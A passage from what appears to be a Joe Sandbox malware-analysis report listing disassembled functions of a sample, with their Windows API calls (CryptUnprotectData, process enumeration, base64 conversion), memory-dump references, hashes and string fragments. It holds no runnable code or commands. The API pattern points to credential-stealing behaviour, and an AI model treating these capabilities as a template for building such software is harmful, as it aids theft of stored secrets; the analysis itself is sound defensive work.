Instruction Fuzzy Hash: 2A21D8B5D0420CABCB04EFE4D9459EEB7B9FF48300F04852EE506A3250EB755609DB69

Function 000E7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 000E724D
RtlAllocateHeap.NTDLL(00000000), ref: 000E7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 000E7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 000E72A4
LocalFree.KERNEL32(?), ref: 000E72AE

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: c68d08993497232b8461d646adeabf6353bdc23c5a08fc083ee49453d7cda449
Instruction ID: ddb39470c8f03823e8b255ea46108ae09eee035019bf486fce8f8e81e9b6597f
Opcode Fuzzy Hash: c68d08993497232b8461d646adeabf6353bdc23c5a08fc083ee49453d7cda449
Instruction Fuzzy Hash: 99011275A40208BBDB25DFD4DD46F9D77B8EB44B00F104159FB05BB2C0D7B0AA018B65

Function 000F9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 000F961E
Process32First.KERNEL32(00100ACA,00000128), ref: 000F9632
Process32Next.KERNEL32(00100ACA,00000128), ref: 000F9647
StrCmpCA.SHLWAPI(?,00000000), ref: 000F965C
CloseHandle.KERNEL32(00100ACA), ref: 000F967A

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 0d98b481103cd2925a62239496570fb406f84e42aca5b0d7c098646affc8fde1
Instruction ID: 23a11a9dbada796033dc08dba85ac09ddfc0b0e6e86597b0dcaab72129d457b0
Opcode Fuzzy Hash: 0d98b481103cd2925a62239496570fb406f84e42aca5b0d7c098646affc8fde1
Instruction Fuzzy Hash: FA011E75A00208EBCB25DFA5CD48BEDBBF8EF48300F104198AA05D7240DB349B45DF51

Function 004B2C63 Relevance: 6.6, Strings: 4, Instructions: 1630COMMON

Download Yara Rule

Strings

'1|, xrefs: 004B305F
2sS, xrefs: 004B3105
a~, xrefs: 004B2FCB
nZG., xrefs: 004B31F5

Memory Dump Source

Source File: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2sS$'1|$nZG.$a~
API String ID: 0-3995872047
Opcode ID: c7f8866d651412dad627f9389208db83560e2ac6f0d72f56bc0fcacb8b74aeae
Instruction ID: fdb7843c86c5abf8529fc9d67a31085e3a80564831e70929a27b6e2225ca46e7
Opcode Fuzzy Hash: c7f8866d651412dad627f9389208db83560e2ac6f0d72f56bc0fcacb8b74aeae
Instruction Fuzzy Hash: 6FB203F360C2049FE304AE2DEC4567AFBE5EFD4720F16893DEAC483744EA3598458686

Function 004AA4BD Relevance: 6.6, Strings: 4, Instructions: 1625COMMON

Download Yara Rule

Strings

"bO}, xrefs: 004AB440
l?l}, xrefs: 004AB105
`X|, xrefs: 004AAA29
wJ~i, xrefs: 004AB3A0

Memory Dump Source

Source File: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "bO}$`X|$l?l}$wJ~i
API String ID: 0-1620876229
Opcode ID: 31f475fd26e3a1afd9ec5fa8925e0f9f1e172db9565181f695932731e4dada61
Instruction ID: e962fe8c51b199fb31f44733db31583e03626e50a8661c16217e918408d1a40d
Opcode Fuzzy Hash: 31f475fd26e3a1afd9ec5fa8925e0f9f1e172db9565181f695932731e4dada61
Instruction Fuzzy Hash: 1CB215F3A0C2049FE304AE2DEC8567ABBE9EF94720F1A493DE6C5C7344E67558018697

Function 004B1170 Relevance: 6.6, Strings: 4, Instructions: 1601COMMON

Download Yara Rule

Strings

zLo, xrefs: 004B12C1
p*a[, xrefs: 004B17A0
dP{}, xrefs: 004B23A1
Ny, xrefs: 004B1D70

Memory Dump Source

Source File: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: dP{}$p*a[$zLo$Ny
API String ID: 0-400026672
Opcode ID: a48e2afc372df8e4ba7e2ca69a29105c78971a64a5231a9413d50bd185de70f0
Instruction ID: 3025cf9bb35a11544e02c20dd887364655f772f06b637d9f79d2ed2142ddf95d
Opcode Fuzzy Hash: a48e2afc372df8e4ba7e2ca69a29105c78971a64a5231a9413d50bd185de70f0
Instruction Fuzzy Hash: 9BB219F360C204AFE704AE29EC8567AFBE5EFD4320F1A493DEAC487744E63558058697

Function 000F8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,000E5184,40000001,00000000,00000000,?,000E5184), ref: 000F8EC0

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 5fc25ee663b2fa0d0808959a073eb8656d0a2be7368b243076521df366c1b6f6
Instruction ID: 5b5957eeebb51f417393f30556a066c90082d8cab25722fadd468eeab010bdcd
Opcode Fuzzy Hash: 5fc25ee663b2fa0d0808959a073eb8656d0a2be7368b243076521df366c1b6f6
Instruction Fuzzy Hash: 93111570200608BFDB54CF64E885FBB37AAAF89700F10D458FA198B650DB75EC46EB60

Function 000E9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,000E4EEE,00000000,00000000), ref: 000E9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,000E4EEE,00000000,?), ref: 000E9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,000E4EEE,00000000,00000000), ref: 000E9B2A
LocalFree.KERNEL32(?,?,?,?,000E4EEE,00000000,?), ref: 000E9B3F

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 4f0499ba7b0c502385354ab63746f132ce07f483c4cc044e8c4d0c56746352c9
Instruction ID: 6ad2fbebf4b4d40bfb6920e31b6325e44d546f3428ea4066fbc060f82665ca77
Opcode Fuzzy Hash: 4f0499ba7b0c502385354ab63746f132ce07f483c4cc044e8c4d0c56746352c9
Instruction Fuzzy Hash: 7111A4B4240208BFEB11CF64DC95FAA77B9FB89700F208058FA159B390C775A941CB50

Function 000F7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0122DFF0,00000000,?,00100E10,00000000,?,00000000,00000000), ref: 000F7A63
RtlAllocateHeap.NTDLL(00000000), ref: 000F7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0122DFF0,00000000,?,00100E10,00000000,?,00000000,00000000,?), ref: 000F7A7D
wsprintfA.USER32 ref: 000F7AB7

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: f18487ed7a56627724967e2e348d795991a913858cc7f8931e3935bc6d3e7d24
Instruction ID: 7001751184b8c8bd05c5ab253ef5089b21e6e4dc2153088c3ea5cceeae4e615a
Opcode Fuzzy Hash: f18487ed7a56627724967e2e348d795991a913858cc7f8931e3935bc6d3e7d24
Instruction Fuzzy Hash: BD1182B1945618DBDB218F54DC45F69BBBCF744711F10439AE60A932C0D7741A41DF52

Function 000F3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(000FE118,00000000,00000001,000FE108,00000000), ref: 000F3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 000F37B0

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 3aa6dff0154b367247d16ee9dc58da6bcebaf4dff26f5462d4a534203eaf2446
Instruction ID: 567a9518aa44294b9b1bfbb9001d3a30ced58f3d9f36b35a0f27906d8f33f1e6
Opcode Fuzzy Hash: 3aa6dff0154b367247d16ee9dc58da6bcebaf4dff26f5462d4a534203eaf2446
Instruction Fuzzy Hash: 9141E770A40A2C9FDB24DB58CC95BABB7B5BB48702F4041D8E608AB290D7716E86CF50

Function 000E9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 000E9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 000E9BA3
LocalFree.KERNEL32(?), ref: 000E9BD3

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 18a997318f4aa09238ca0263f0000f1b00bdd77508328966729a299d873c7322
Instruction ID: d11d2801c4b53ef43f5524318be874d0aa0d9c6dd1a9fef41de63c13316b7776
Opcode Fuzzy Hash: 18a997318f4aa09238ca0263f0000f1b00bdd77508328966729a299d873c7322
Instruction Fuzzy Hash: 7511C9B8A00209EFDB05DF98D985AAEB7F9FF88300F104598E915A7350D774AE51CFA1

Function 0041738D Relevance: 2.7, Strings: 2, Instructions: 229COMMON

Download Yara Rule

Strings

=_}, xrefs: 00417553
=_}, xrefs: 00417545

Memory Dump Source

Source File: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: =_}$=_}
API String ID: 0-3933729031
Opcode ID: 05d62d1756f7a452fc1a2424f7c4d7626e912f5c5f739aad1877f4ea5bdeb839
Instruction ID: ce4c5039ff1877ab3c14505d5a26868143ff46b22057c35b073207d092fd7c31
Opcode Fuzzy Hash: 05d62d1756f7a452fc1a2424f7c4d7626e912f5c5f739aad1877f4ea5bdeb839
Instruction Fuzzy Hash: AD614BF3E082109FE3041A2DED157BABBD5EFD4720F1B853EEA8997784D9794C058286

Function 0049C563 Relevance: 1.4, Strings: 1, Instructions: 185COMMON

Download Yara Rule

Strings

6pgc, xrefs: 0049C567

Memory Dump Source

Source File: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6pgc
API String ID: 0-1592974771
Opcode ID: b6923f3eefd06e3ed5dc0daff376640b0cd437a38c96a459ee33e3b37f4fdf91
